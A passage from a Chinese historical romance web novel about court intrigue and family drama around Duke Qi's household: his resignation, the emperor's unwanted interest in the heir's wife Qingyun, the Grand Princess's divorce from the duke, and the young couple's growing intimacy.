李秉真想起之前自己的猜测,不经意问:“夫人在家中,和这位舅舅关系最好?” “倒不是。”清蕴道,“不过二舅舅性情最洒脱,也最不拘礼,长辈当中,只有他会带我们出门玩乐。” 若说家中哪个人接纳她最快,待她最好的,当然是外祖母秦夫人。 起初她见外孙女年纪小小就没了爹娘,十分疼惜,一度想带清蕴一起睡,被拒绝了。 外祖父看起来一视同仁,但清蕴知道,他对孙女外孙女再慈爱,内心真正看重的,还是表哥他们。 几位舅舅舅母呢,各有性情。他们态度好或不好,对清蕴心绪影响都不大,因为能够决定她在王家生活的,是那两位,而非他们。且她心知肚明,无论他们冷淡或热情,大都是因“陆清蕴”这个身份,而非对她。 她心中有杆秤,永远把自己放在恰好的位置。 李秉真捕捉到她脸上一闪而逝的冷漠。 外头又有藉香的声音响起,“世子,夫人,陛下那儿传令,说等雨停了就启程回京。” 这么快?夫妻俩心头同时闪过这个念头,十五天的行程才刚刚过半。 临来天穹山前,陛下早把京中一切事宜交给了内阁柳首辅,莫非有什么紧急政务? 但下了令,只能听从。 趁着雨势,外头几人入内把行李、用具装箱。 一辆辆马车被牵来,和着雨水冲刷,路面临时铺上的石子被碾开、碎裂,露出黏湿、浑浊的泥土。除去皮靴,其他鞋踩上去都将是灾难。 白芷正提议搬几块大石头来帮清蕴上车,不远处有身影匆匆跑来,是陈危。 他撑着伞,这伞显然不是为自己所撑,因为大部分都遮后背去了,面上满是湿漉漉的雨水。 “我背主子上车。”他低声道。 清蕴回头看李秉真,他点头,“你先上去罢,我再去找父亲母亲说几句话。” 她攀上陈危的背。 十来步的距离,他走得很稳,大概不想清蕴淋雨,加快了速度。 清蕴俯下身,气息扑在他耳侧,让陈危耳梢微动了动,“我之前见齐国公跟随陛下过去,是他那儿发生什么了?” 陈危点头,左右人来人往,没说太多,只道:“公爷自行请罪。” 自行请罪?清蕴微怔,到了马车内犹在想,齐国公请的是什么罪。 她的问题一时得不到解答,因为李秉真迟迟没回来。 来时仔细准备了好些东西,防寒、防虫的器具,狩猎所需武器,用于消遣解闷的玩意等等。因回得急,这些东西只能收拾好一股脑堆上去。 清蕴听到外面走动的声音很是嘈杂,不多时,大长公主掀帘,见只有她一人,“少思呢?” “许是在父亲那儿。” “嗯,我回程不坐这辆马车,自有去处,你们不必等我。” 说完,她嘱咐左右照顾好世子夫人,带着亲卫不知去往何处。 透过雨帘看向她的背影,就在刚刚打照面的那会儿,清蕴发现大长公主状态算不上好,即使覆了一层厚厚的脂粉,也难掩憔悴。 之前看她和齐国公在一起还是好好的,难道发生了什么变故,夫妻之间的? 这些暂时都不得而知。 雨停后,等了大约小半个时辰,直到队伍启程,马车上竟仍只有她和白芷。 她倚着车壁许久,起初教白芷认了会儿字,后来马车颠簸看不得书,便靠着小憩过去。 隐隐约约的,还做了个不平稳的梦,先是看见外祖母秦夫人,再是建帝,二人脸上神色被一层迷雾蒙住,模糊不清。 梦中清蕴自然而然朝秦夫人走去,向她请安问好,结果手被一把攥住,力道之大有如铁钳,让她心惊不已。 她暗暗使力挣脱,却无论如何无法用劲,眼皮不自觉颤动起来,猛地睁开,却发现眼前是李秉真。 他握住清蕴的手,“又做噩梦了吗?” “……没有。”清蕴直起身,“你在父亲那儿一直待着?” “起先是,后来被陛下传过去说了些话,就耽搁了会儿。”李秉真示意白芷去后面的马车。 这会儿离入夜还有大约两个时辰,即使马车不停歇,也不可能这么快赶到京城,所以今晚势必要在马车上度过一夜,他正是让白芷去找出过夜的用物。 见李秉真神色间若有所思,清蕴这回没有直接问出口,而是默然用余光观察。 “夫人怎么不问我?”倒是他发现了,冷不丁出声。 “我怕是政事,不好说道。” 李秉真笑了下,“我不过一个侍讲学士,能有什么需要保密的政事办?陛下传我去,是让我劝父亲不要卸去官职。” 清蕴登时疑惑,李秉真解释道:“父亲去找陛下请罪,说窥伺帝帐之人是他属下,缘由是想找李审言传话,却不慎误入帝帐附近,不想惊动圣驾,便又悄无声息离开了,结果引起误会。父亲说事后才知这事是自己引起,引得众人一阵惶恐,认为有罪,自请卸去统领一职。” 这……未免有小题大做的意思。 “陛下是因此急着回京?” “当然不是。”李秉真道,“京中似乎有急报传来,陛下本想先行回去处理,让其他人继续玩乐,后来又改了主意,让众人一同离开。” 即使如此,也未免太赶了些。 清蕴不知齐国公为何突然借这个理由请罪,但这毫无疑问出乎所有人预料,连李秉真都有些措手不及,只能在建帝那儿迂回行事,说会尽力相劝。 李秉真不知这个决定是父亲一人做下,还是他们夫妻共同的想法。只清楚,以陛下的行事作风都没有冒然同意,甚至要暗暗让他来劝人。 倒是陛下身边的李审言神色平静,看不出想法。 他悠悠叹了口气,“若是齐国公府就此失势了,夫人会不会嫌弃我?毕竟光凭我的位置,谁都不会放在眼里,连俸禄都少得可怜。” 淡淡斜他一眼,清蕴道:“兴许会罢,那我就去母亲跟前讨口饭吃,好歹不会饿着。” 李秉真低笑,“那倒不至于,养活我们两人还是不成问题的。” 他抱住清蕴,将头抵在她肩上,“其实成婚后,我还真想过辞官,我们两人离开京城,去寻个清净的地方生活,你觉得如何?” 第33章 陛下的权势……更让你心动? 在成婚前, 张颖曾经对李秉真提出过一种医治方法,那就是下猛药攻毒,再辅以一种极其特殊的针灸疗法,一次性祓除所有毒素。 这种方法没有其他, 就是风险极大。张颖说, 这可能是唯一一种彻底治愈他的方法, 痊愈和中途毒发身亡的可能, 各占一半。 单看他自己想不想冒险。 李秉真不想冒险,他自己无所谓生死, 却不能给了母亲希望之后又打碎,不能去赌另一种可能。 他想的是,如果一直如此渐渐虚弱下去,多苟延残喘几年,母亲会慢慢接受, 而非骤然离世。 但和清蕴成婚后, 他对这个方法,突然萌生了一些兴趣。 …… 辞官隐居?这个可能,清蕴从来没想过。 她来自江苏, 故乡就在江苏,但她从没想过要回那个地方,那里的回忆并不让人留恋。 父亲掌书院,在当地小有名望, 他们家也算得上富足, 但相比盘踞富足的豪绅世家仍远远不如。见他们必要卑躬屈膝, 曲意逢迎, 每每遇见,她偶尔能感受到他们在自己一家人身上流连的目光, 不是看人,而是货物、牲畜般低下。 他们并不在乎权贵圈外的人是否会有“人格”,也不在乎这些人的性命,不喜欢?夺之便好。 父亲曾经入仕,当过七品县令,后又主动辞官,以书院为生。在他心中官场太腐朽,容不得他这样的清正之人,惟愿自己教出的学生能够改变建朝官场风气。 天真而烂漫的想法,清蕴那时不理解,也会说着支持爹爹。 直到后来经历了倭寇肆虐,失去父母,孤身流浪半年,她清楚地领略到无权无势,无论身处何地都会被盘剥、被欺凌。 想要安稳优渥的生活,唯有自己手握权势,或身处其中。 而论权势,哪里又能比得过京城? 王家人说她淡薄名利,但清蕴自己清楚,她想要权势,喜欢富贵,绝不会轻易放弃这两者。 王家是她无法久待的地方,齐国公府则是她在综合各种考量后,认为自己最有可能进入其中的地方。 齐国公掌兵,大长公主为皇家至亲,世子如何已不算十分重要。如果李秉真的父母不是这二人,她大概率不会考虑他。 但他身处其中,反而对这些最为平淡,甚至不屑一顾。 这些想法,清蕴当然不会对李秉真说出。 纵使他们相处和睦,几度交心。 ** 宽大龙辇内,建帝正独自下棋,自言自语般道:“天泽,天泽帝,这个年号有些一般,龙熙如何?” 万云不在,无人回话。 建帝看向李审言,他先怔了怔,才回神般发现对方在问自己,“臣觉得,陛下想的就是最好的。” 建帝眼底流露不以为然。 世间天赋异禀、武力卓绝的人很多,他为何单单重用李审言,特意让人在承乾宫表演?当然是给齐国公和大长公主看。 事实证明,李审言有些作用,但如今看来,也不算很多。他性子实在有些笨,不懂迂回,也不擅筹谋。 听他说自己很少读书,家里也不会特意请人教导,建帝想想就理解了。怪不得被大长公主压制这么久,能想出的办法就是跑到他面前卖艺。 冲在他一心往上爬,有股狠劲和倔劲的份上,建帝没发脾气,反而问:“刚才在想什么?” “臣在想,齐国公要自请辞官,是不是可以如陛下意愿,打散李家军,混入卫所。” “哪有那么容易。”建帝摇头,“李家军极度排外,没做好准备,朕可不能冒然把他们放进其他卫所里。” 他看着李审言,好奇,“齐国公请辞,你有什么感觉?” “和臣无关。”李审言硬邦邦道,“反正他从来没把臣当儿子,臣也只当从小就没了父母。” 这话语。建帝又想笑了,“话不能这么说,有大长公主在,他有心想对你好也无力。更何况,他这次请辞也未必是真,以退为进罢了,等着人留他呢。” 他起初觉得李审言是个出身不好、野心勃勃的年轻人,把人放在身边这么久,时常对话,又觉得实在是个可怜人,有那么点心机,但不多。 看他说完这番话,李审言依然是对齐国公忿忿的神色就知道了。 “你对齐国公有怨,那对兄长呢?” 李审言目露复杂,想恨又不想恨的模样,最终道:“他也是个可怜人。” 建帝审视他的表情,然而除去真诚,再无其他。 建帝有些理解他。 正如他自己,对这个表弟一度也很同情,怜惜姑母和表弟的遭遇。后来即便越来越不喜姑母和齐国公,每每见李秉真病危,也还是让太医全力救治。 李审言这样说,正表明手段虽狠辣些,但内心深处终究柔软。 这样用起来也无需太提防。 倒是他的另一重身份让建帝忽然想起一事,“之前你与陆清蕴比试投壶赛,和她说了什么?” “陆清蕴?” “便是你嫂嫂,李秉真刚娶的夫人。” 李审言老实道:“臣说想与她合作,她拒绝了,随后直接退赛。” 说完,似乎还有不解。 建帝哈哈一笑,“你啊你,以你和李秉真的关系,她冰雪聪明,当然会怀疑你的居心。” 这样的话,私底下说起来有几分亲昵暧昧,建帝不觉有什么,李审言眼底了然,面上做出被点醒的模样。 因提起清蕴,建帝多说了几句,可是因李审言在他面前的“木讷”“老实”和“一板一眼”,终究提不起太大兴趣。 所以说了几句,就随口道:“如果朕再增设几个卫所,把你放过去,你觉得如何?” 李审言立刻跪地,“臣愿为陛下肝脑涂地!” 建帝收回视线,“再说罢。” 一个放在身边取乐的玩意罢了,旗手校尉的位置就已足够打发。 招手道:“过来陪朕下棋。” 李审言为难,“臣不擅此道。” “无事,朕教你,随便下下而已。” ** 除去夜晚歇息,马车几乎没有停下,不少人病倒途中,原地休养,余下的,则随天子浩浩荡荡归京。 入城已是傍晚,清蕴和李秉真休整后,发现大长公主和齐国公两位长辈依旧不见身影,对视一眼,休整好后先去拜见了太夫人。 太夫人手持菩提佛串,微微瞥了下,确定只有他们两人,却什么也没问,浑浊的眼重新闭上,“你们一路劳顿,也辛苦了,今晚就好好歇息罢。” 她在这个家中,几乎已经到了万事不操心的地步。 李秉真拉着清蕴离开,慢声道:“祖母心中,是我和母亲逼走了李审言,故而不想理会我们。” 穿过月洞门,清冷冷的月光扑面,将他眼下阴影铺得更浓,清蕴问:“那你如何想?” “我?” 李秉真对李审言没想法,是死是活,都和他没关系。母亲要杀李审言,只要不影响整个国公府,他也不会阻拦。 淡笑了下,“我和他向来不熟,没什么看法。” 虽然在外人眼中,他们是同父异母的兄弟,但对李秉真而言,还不如寻常路人。 翌日早晨,李秉真进宫,清蕴则收拾好礼物,向太夫人禀报一声,往王家去。 她带上了之前在阿飞那儿获得的信和印章,本是想来试探性问问外祖父,一问才知,他今早上朝前就说过,中午不会归家,秦夫人也一大早就去寺庙礼佛了。 “听说是蒙古那边又有异动。”拜见过长辈,家里只有二舅舅王维清给她透露了些消息,低声道,“目前是战是和还未可知,求和的话,还得派个合适人选前去和谈。” 他问外甥女,“齐国公那边可有什么说法?” 他自然而然以为清蕴身在国公府,更容易知道一些隐秘消息。 但清蕴却是才知这场可能到来的战事,手微微收紧,面上不露异样,“公爷和殿下在家,从不说政事。” 王维清遗憾,点头道:“应该掀不起什么水花,相较于六七年前,我们的实力早已不可同日而语,只是老三那儿……” 他做了个噤声的手势,意思是三舅舅待的地方离蒙古近,如果让秦夫人知道这消息,恐怕要日夜不宁。 清蕴点头。 见她怔怔不说话,王维清以为她想起父亲,顿时自责嘴快,“既然来了,就多待会儿。令娴陪你外祖母去礼佛了,令嘉正在家中,去找她玩儿罢。” 清蕴没有去找王令嘉,而是独自坐在花圃边出神。 直到身边有刻意的脚步声。 “三哥?”清蕴奇怪,“你怎么在家里?” “吏部那边任命的折子还没出,陛下要查的案子也已呈上了证据,暂时无事,就待在家里。”王宗赫言简意赅。 知道清蕴关心什么,另外解释,“周墨的事已处置妥当,不必担心。” 周墨在官场上汲汲营营,哪处有利就去哪处,和他有牵扯的官员还当真不在少数。虽都不是什么高官,但要从其中找出和柳阁老有关系的,实在太过简单。 王宗赫收集证据呈上去时,看不清建帝脸色,只得了他一声夸奖,就告退了。 “多亏三哥在。”清蕴道,“不过大姐姐那儿,我不好说太多,还请三哥多开解。此事了了,她应该能放下大半,但就怕会在今后择婿上产生执念。” 王宗赫没回,而是转过身看着她,“那你呢?” “……嗯?” “你当初为何会选择世子?” 王宗赫定定凝视,脸上第一次没有了对待她时隐隐的温和,很想要一个答案。 早在成婚前他就想问,她没有给予机会。婚后他们二人看着很和睦,他认为不必再问。 但天穹山一行后,他亲眼见过李秉真的虚弱,也见到清蕴孤身从帝王行宫中走出,跟在她身边的是天子心腹万云,于是有太多太多疑惑堆积在心中。 清蕴在做什么?她想要的,到底是什么? 以他的性格,这些问题放在其他人身上,他只会默默观察,暗中寻找答案。 但这是清蕴,他想看清她的神色,从她口中听到回答。 “我为何不能选择世子?你们又为何总要问我这个问题?” 清蕴似乎觉得可笑,又很是平静,“那我便说了,齐国公府权大势大,外祖母给我介绍的那些人完全比不上,这样的回答,三哥满意吗?” 她唇角像是翘了下,“世人都是如此,我也不能免俗,难道不可以吗?” 王宗赫面无表情,第一次没有顾忌两人该保持的距离,往前大踏一步,逼视她,“这就是你只身从行宫走出的理由?” “陛下的权势……更让你心动?” 第34章 李秉真知道,自己在变得更加贪心 “啪!” 重重一巴掌甩在王宗赫脸颊, 打得他脸斜侧过去,面颊登时出现几道红印。 他没有丝毫恼怒,身体先拦住了清蕴,脱口而出“对不起”三字。 清蕴冷冷看他。 “我担心你不肯说实话。”王宗赫如实道。 他了解清蕴, 怕她不肯报忧, 所以故意质问。 这种质问对女子来说毫无疑问是侮辱, 被甩这一耳光是应得的, 他毫无怨言,甚至内心有丝放松。 “三哥用这样的方式, 我也不见得愿意对你吐露心迹。”清蕴依旧冰冷,这是她头次对他不假辞色,王宗赫却感觉透过那层温和的表象,终于接触到她内心的真实一角。 他再次说了声“对不起”。 清蕴没有骂他,指责他, 只是准备转身离开, 不愿再和他说话,却被王宗赫三两步拦住。 他生得高大,轻而易举就能截住清蕴去路, 她不想做这种无谓纠缠,“三哥到底想做什么?” 知道惹怒了她,王宗赫面色格外诚恳,低声道:“我想帮你。” 这件事她一定没有告诉世子, 王宗赫理解。虽是陛下纠缠她, 但世子和陛下还有层表亲关系, 传出去旁人只会认为是她的问题。即便是世子, 也不一定会站在她那边,反而可能认为她在陛下面前行为不端。 故而, 他更不可能让她独自面对。 清蕴没转向他,看着满园景象。春末夏初,花圃旁的小池蓄满清水,草叶漂浮,一尾小鱼荡过水面,泛起的阵阵涟漪映在她眼底。 察觉她听了进去,王宗赫姿态放得更低,“陛下是为何突然对你……可曾知道?” 微微抿唇,清蕴往旁边走了几步,王宗赫这回没再阻拦,默默跟随,直至她停在石桌旁,四周空旷,无一处遮挡。 清蕴将第一次进宫面圣的情形道出。 其实她和建帝见面,统共算起来无非三次。承乾宫两次,第三次则是他主动传召。 当然,略去建帝派人查她过往的那段不提,清蕴只道:“他在天穹山传召我时,早已服用寒食散。” 寒食散。王宗赫眉头深锁,他当然听说过这药方,起初制出的大夫是为医病,后人却把它当做振奋忘神的药来使用。 听说服用后情绪容易大变,久而久之,还会在体内累积成毒。 眼下不是思索这件事的时候。 王宗赫思考了会儿,望一眼天,道:“既然之前只见过两次,为何动那些心思,我猜有三个原因。一是对齐国公和大长公主不满,故意以此羞辱。二是试探,想看你会有何反应,他可曾提出过其他要求?” 见清蕴摇头,王宗赫就知道第二种猜测错了。他本来还以为,陛下会有意利用表妹在国公府做什么。 “三则是……”王宗赫顿了会儿,“就是有此癖好。” 他没有把清蕴的容貌或举止算在其中,因他清楚,两面之缘,以清蕴低调沉静的性格,应该不至于引起陛下注意。 再者,即便这两者有些作用,也绝不会是主因,只能是因为陛下自己。 如此香艳暧昧的事,被王宗赫一本正经地分析,总有种说不清道不明的感觉。 但不得不承认,他这样稳重的态度,让清蕴也跟着放心许多,目光微闪,摆出愿闻其详的姿态。 事实上她的怒火只有三分为真,因为任何一个知礼明德的人,在遇到这种质问时,都该勃然大怒。 建帝表现出的纠缠对她而言,更多是惹人厌烦。 她想知道王宗赫会有什么办法。 “其实很好解决。”王宗赫平静道,“隔上数月半载,无论有何事,都避开进宫的机会,绝不与那位接触,再让其他人引走注意就好。” 他说,“你既亲眼见过那位姜侍郎的夫人,我会着人想办法接触她。” 说着,王宗赫眼底闪过一丝讽刺。 他没有把话全部道出。 虽然还未成婚,但王宗赫也是男人,自然懂得男人有时的劣根性。陛下对清蕴的纠缠,在他看来更像一种戏弄,且是因齐国公府而生出的恶意戏弄。 或许其中有因清蕴美丽而生出的欲()望,但那点原因一定微乎其微。 分明是君臣之间的博弈,权力之间的竞争,天子竟无耻到这种地步,将其波及一个与这毫无关系的女子。 对天子而言,即便被发现了也不过是段风流情史。对清蕴而言,却可能是灭顶之灾。 堂堂建朝帝王,世人曾经赞颂的天泽帝,竟是这样卑劣的小人吗? 心底有为清蕴而生出的怒意,有对一直以来想要效忠的天子的失望,也有位卑权微的无力感。 倘若他站在足够高的位置,便可以光明正大地把清蕴护在羽翼之下,而不是只能暗地想些办法,借他人之势让她心安。 清蕴欲言又止。 王宗赫短暂笑了下,“放心,我不会让人发现。” 他主动拉开了距离,“我待得够久了,还有下人在廊下洒扫,先走一步。” 说完,对清蕴递去眼神,自行离去,退回了之前作为一个该守礼仪的兄长位置。 清蕴则在原地又看了会儿风景,再从另外一条路走出花圃。 这趟王家之行虽然没有达成本来的目的,但有意外的一点收获。 即使三哥的做法无法完全挡住建帝,有用就足够。 未时一刻,清蕴回到国公府。 虽是午后,日光算不上灼目,薄云遮盖之下光线柔和,映得仆役手中的簇簇牡丹艳丽非常。 白兰好奇,主动上前询问。在旁指挥的管家对清蕴问好,解释道:“国公府和大长公主府要砌墙隔开了,这些花是殿下钟爱之物,得一同移植过去。” 砌墙隔开。清蕴眼睫微微扇动间,白兰的惊呼已经溢出口中,“为什么?” 管家流露苦笑,没多说,面前两人已经明白过来。 当日下值时,齐国公和李秉真一起归府,随后清蕴、李琪瑛也同被叫到堂前。 李琪瑛刚回家,只匆匆净过面就被请来,见兄长嫂嫂都在,还以为是家人一起吃个晚饭,嘟囔道:“这么急匆匆做什么,娘都还没回来,我换件衣裳也耽搁不了什么功夫。” “她不会回来了。”齐国公沉声道。 桌下,清蕴感到自己的手被不轻不重握住,她暗暗投去视线,李秉真并没有回望。 李琪瑛呆住,“娘出远门了?” 她从来不曾察觉父母之间的暗潮汹涌,对家中器物的搬动也不感兴趣,故而完全没有预料到发生了何事。 “你娘……”齐国公有片刻停顿,停顿到李琪瑛都觉得奇怪,才平复了心情般,“她给我写下和离书,昨天一回就加急呈给了宗人府,今天午时拿到文书。” 李琪瑛完全呆住。 齐国公一字一顿继续,“我和你娘,已经再无干系了。” 他说得淡然,然置于袖间的手已经隐隐握成拳。 他从不知妻子会如此狠心。 不错,点明真相的是他,可在那件事上,对不住彼此的人不是他。 仅仅是因为他说出事实,就决绝地和离。即便齐国公知道,除去李琪瑛,妻子应该没有其他私情,也不由生出阴暗的怀疑。 大长公主是不是一直在暗地和那人联系,被他戳破后,就一不做二不休,干脆恢复独身,好从此和那人快活。 怒火、震惊、妒意在心底交织,让他每寸肌肉都紧绷到极致。但在小辈面前,表现得仍是云淡风轻。 “不可能!”李琪瑛发出尖锐鸣叫,满脸不可置信。 不怪她不敢信,在李琪瑛面前,齐国公夫妇几乎从未露出过不和睦的模样。她心中的爹娘恩爱无比,是世人眼中的神仙眷侣,结果眨眼就告诉她,这对眷侣分离了。 没和她解释,齐国公转向清蕴,“回来的路上,我已经和少思提前说过这事。此后府里的物件、仆役都会另作分配,之前几个管家也都会跟去大长公主府。你祖母年事已高,如今无力管理府务,清蕴,你可愿意接手?” 未等清蕴回答,补充道:“若是你不愿意也无事,我再去挑几个管家就行。” 清蕴仅犹豫了一会儿,“愿为父亲分忧。” “好。”齐国公欣慰,“家里会忙碌阵子,就辛苦你了。府里布局也会有变动,你和少思仍是住在月舍,老夫人佛堂附近再修几间屋子,日后……审言会回来住。” 这件事他已经得到长子同意,这时候就直接说了出来。仍在愣怔惊讶中的李琪瑛听到这名字先是厌恶,随后忍不住问,“那我呢?” 爹安排了兄长他们,对李审言也有打算,怎么不提她? 齐国公面上闪过复杂之色,“你娘,让你和她搬去大长公主府。” 已经把李琪瑛当做亲生女儿养育十多年,感情非一朝一夕能割舍,齐国公当然不会说出这种话,是大长公主在给他和离书时特意强调的。 李琪瑛尚未来得及想太多,先急急问道:“那应该可以两边住罢!” 话里内容让李秉真清蕴都瞧过去一眼,感觉她也没表现出的那么难接受。 齐国公沉默。 沉默便是拒绝,李琪瑛眼中立刻涌出泪花。能和娘继续在一起她当然高兴,可她也喜欢爹啊。 娘有时会严厉,会凶她,爹从来不会。在她犯错时,最会温柔安慰自己的,就是爹了。她不懂,即使他们俩人和离了,不都还是她的父母吗? 难道这份亲缘也会随着一份和离书断裂? 齐国公不忍告诉女儿真相,李秉真和清蕴则是不明事实,长辈间的事,他们不好过多去探寻。 “我不信,我要去亲自问娘!”留下一句话,李琪瑛匆匆离去。 怔然望了片刻她的背影,有一瞬间与大长公主在门内不愿和他相见的决绝身影重合,齐国公仿佛失去许多力气,声音都低了许多,“方才我还有一事没说。” “我因犯错被陛下降罪,如今已不再任统领一职。不过陛下仁厚,仍允我继续留在军中,待新任统领选定,由我协助他练兵。今后你们在外交际,要记得此事。” “是。” 随着齐国公摆手,清蕴和李秉真先行离开,直到完全步下台阶,稍微回眸,依然能看见他笔挺挺坐在那儿。 回到月舍,李秉真身形微晃了晃,被清蕴及时扶住,他道:“不碍事,只是今天站久了些,又没怎么吃东西,填些点心就好。” 他并未逞强,含下几颗糖,让清蕴不必陪着,独自静坐了会儿,就不再头晕目眩。目光往窗边一扫,清蕴正在随手拾起白日看的书,将它们归整回架。 看她有条不紊地整理,偶尔翻开看一眼内容,再一本本摆放,这样平淡又令人无法移开眼的画面让李秉真的心也跟着慢慢宁静下来。 “猗猗。”他忽然这样喊她。 清蕴愣了愣,才反应过来他在喊自己。 自从离开王家,已经许久没人这么唤过她了。 李秉真道:“之前在天穹山,听你友人如此唤你,可是取自‘瞻彼淇奥,绿竹猗猗’这句诗?” “嗯。” “我今后也这样唤你,可以吗?” 清蕴笑了笑。 李秉真抬手,让她到自己身边来。 清蕴会意地任他抱住,知道他因父母和离一事有许多情绪,但没有说什么,只静静回抱他。 有时候,拥抱能够让二人贴近的,不止身体。 “他们做了二十多年夫妻,仍是散了。”须臾,李秉真开口,说不上感慨,也称不上遗憾,语气是简单的陈述,“早在二十年前就该如此。” 年幼时惧怕,不懂他们为何总争吵。年少时冷漠,希望他们不用为自己而强行在一起。到如今他们猝不及防地分开,李秉真仍看不透夫妻这个词的含义,及其背后深藏的情感。 他喃喃自语,又像是在问清蕴,“你我之间,能有多久?” 多久?清蕴也无法肯定,如果要安慰李秉真,自可以说出许多话,但对着他的眼睛,终究一个字都没说。 只能静静和他对视。 李秉真低头,吻了吻她的眼睛,“许多时候,我都觉得这当中藏了很多心事,起初并不想探究,但时日久了,却总忍不住希望你能主动说出口。” 是了,最初他应下这婚事,不过是觉得她那双眼睛太明亮,太富生机。那些直接了当的话语也在告诉他,她清楚这场婚事背后可能的后果。 犹如死水般的生活泛出波澜,他情不自禁地许下承诺。 夫妻本只是名义,但同床共枕多时,角色已经在慢慢地、不由自主地发生转变。 李秉真知道,自己在变得更加贪心。 第35章 本该是兄友弟恭 李秉真周身总萦绕着淡淡药味, 这种气息裹住清蕴,让她想起每天看着他吃药的情形,苦味随着记忆泛出,生动起来。 有时候见他吃那么多药, 她会同情, 但从不会表现出来, 只会默默陪伴, 备好温水蜜饯。 除此之外,就是煮茶、下棋、看书。听起来重复且无趣, 她倒觉得没什么。 因为清蕴觉得,以李秉真的性格,会更青睐于这种细水长流、平静无波的相处。 事实证明确实如此,俩人的感情在渐趋稳定,她也慢慢习惯了和他做夫妻的日子。 所以突然听李秉真这句话, 她很真实地愣了下, “我对世子,没有隐瞒。” 低首把她的神色映入眼底,李秉真摇头, 说没什么。 许多事情,她自己都还没意识到。 罢了,反正还有时间,慢慢来。 ** 天穹山狩猎匆匆结束, 朝堂上发生了两件大事, 一是齐国公请辞, 皇帝没有答应, 只贬他为副统领,继续留任军中。二是蒙古的瓦剌部换了个年轻族长, 不再满足互通贡市带来的利益,几次骚扰边境,朝堂这边决定和谈,正在商议人选。 这些事和清蕴没什么关系,对她来说,影响最大的是原本的公爹和婆母和离。一府分割为两家,今后国公府由她掌管府务,以及,李审言以后会常住国公府。 她先把府里需要处理的事理好,分轻重缓急处置,再和李秉真去隔壁大长公主府拜访。 大长公主没有因齐国公迁怒儿子儿媳,待他们态度不变,也没解释突然和离的原因,只让他们来去随意。 两府的墙砌上,但还给夫妻俩留了道便于来往的小门。 清蕴观这对母子俩的神色,见他们表面都很淡然,没什么愤怒、伤心的情绪,就没多说什么。 日子照常,五天后,齐国公处理好手头的事,把李秉真叫去书房,父子俩谈了一个下午。 李秉真回来时,对清蕴说,明天中午要去酒楼用饭。 “有应酬吗?” 李秉真随意道:“算是家宴,不用特意妆扮。有没有什么想去的地方?回京后你还没出过门,我明天不去翰林院,陪你一起。” 清蕴想了想,“那就去书局和珠宝阁逛逛,还有空闲,再在街市走一走。” 李秉真笑着应好。 翌日早晨,因李秉真不用进宫,夫妻俩都起得晚,伺候的人都知机地没打搅。 清蕴睁开眼,就发现昨晚打理柔顺的长发在枕间凌乱横着,里衣卷起道道褶皱,李秉真虚揽着自己,小臂还有道浅浅牙印。 睡前记忆回笼,她微微别过眼,脸上泛出不明显的红晕。 昨晚时机、氛围都恰好,两人说着话,自然而然亲昵起来。 本来觉得水到渠成的事,却在临门一脚出了差错。他们都太生涩,毫无经验,她难以做好准备,即便强行让自己容纳李秉真,也遮不住皱起的眉头。 见她太痛,李秉真主动停下来,让她不舒服就咬他手臂。 接着想了许多法子,甚至不知从哪找来几本避火图学习,尽力让她放松。 试了几次,成效甚微,最终没有真正圆房,倒是让他学到了些奇怪的方式,也给他身上添了些抓痕、咬痕。 清蕴没想到,看起来清心寡欲的世子,在床笫间还能有那么多探索的兴趣。 李秉真跟着睁眼,发现她已经醒来,却没看自己,意识到昨晚的事让她不好意思了。 他倒没什么,虽然他以前对这些没兴趣。但如今成了婚,妻子又是他越发欣赏、喜欢的人,自然不会真一直素着,有些事是天经地义。 倒是清蕴,平时无论做什么都那样沉静从容,难得一见小女孩儿的羞、怒。昨夜领略到她其他风情,难免情动。 他弄出动静,做出刚醒的模样,自然而然抬手把她揽得近些,“今天想买些什么?” “找些琴谱,再置办一套首饰,马上就到白兰生辰了。” 夫妻俩在被窝里咬耳聊天,只要不说昨晚的事,清蕴就很自然。 李秉真笑,“你对那两个丫鬟倒不错。” “白芷在我刚到王家时就跟着我了,白兰是五年前家乡遭了难,和家人流浪到京城。当时她家人病重,她主动卖身换银子,在街上遇见我,便请我买她。” “就买下了?”李秉真换了个姿势。 “并未,我当时身边已有个白芷,足够了。只能给她一些银钱,告诉她义诊堂所在。” 她以为白兰会用这些银钱买药,没想到白兰给自己买了身新衣裳,仔仔细细打扮整洁,到王家求聘。 当时王家正好要聘些女使,她成为其中一员,进门又惊喜地唤清蕴,秦夫人了解到这段缘分后,做主让白兰到她身边,一待就是这些年。 白兰没签卖身契,成婚前,清蕴曾问过她的意愿,知道她愿意继续跟着自己,才把人一起带来。 相较于一直陪伴的白芷,她对白兰虽没有那么信任,但也有情分。 白兰家乡习俗特殊,女子十八及笄,今年才算她的及笄之年,清蕴就想送套首饰祝贺。 了解前因后果,李秉真点头,“到时候在家里或酒楼摆桌小宴,你们三人聚一聚罢。” “嗯,我正是这么想的。” 如此说了会子话,日头渐移,透窗映出光芒愈盛,夫妻俩这才慢慢起榻洗漱。 李秉真在穿着打扮上没什么喜好,以前基本是随着女使的打理,即便她们挑了件颜色艳丽式样浮夸的锦袍,也能面不改色地穿,完全无所谓。 不过他相貌好、身量高,气质出尘,怎么穿都显得清逸文雅。 清蕴每逢出门,就会精心打扮一番,不拘做什么,毕竟不知何时就会遇到熟人,总不好太随意。 齐国公从别处去酒楼,夫妻俩也没叫马车,见还有时辰,就从府门前悠悠走过去。 出了深巷,经过一片住宅地,青砖铺就的石道出现在眼前,闹腾腾的人气乍现。店铺鳞次栉比,门前各有伙计叫卖,中间游走着挑担货郎,行人如织。再往里去,高楼渐多,片片旌旗招摇。 李秉真带她走进“汇香居”,报出名号,立刻有人领他们到阁子里。 里面早早坐了两人,齐国公和李审言。 昨晚李秉真就提前说明了聚餐人的身份,清蕴跟着打招呼。 齐国公点点头,他和大部分公爹一样,对儿媳保持着恰到好处的距离,不会太关注,只要夫妻俩和睦就行。 他对清蕴无疑是满意的,才在这场特殊的家宴里让长子带上她。他能清晰感觉到,儿媳在时,长子的活人气也能多些。 李审言视线从街边风景转回来,简单示意,“大哥,大嫂。” 他和齐国公坐在一块,这样看过去,父子俩几乎像一个模子刻出来的。 李秉真嗯了声,携清蕴落座。 清蕴余光无声扫过几圈,感觉到氛围的沉默、凝滞和一丝尴尬。 这不奇怪,不说和陌路人差不多的兄弟俩,齐国公和小儿子应该也没怎么说过话。 以前碍于大长公主的存在,现在想让兄弟俩放下长辈间的旧怨,培养感情? 清蕴出声,打破了满室诡异的寂静,“你们这儿有什么招牌菜?” 伺候这间阁子的小二松了口气,总算来了个活人。 他一口气报出二十来道菜肴,清蕴认真听着,问他,“你们家有几种鱼脍?” 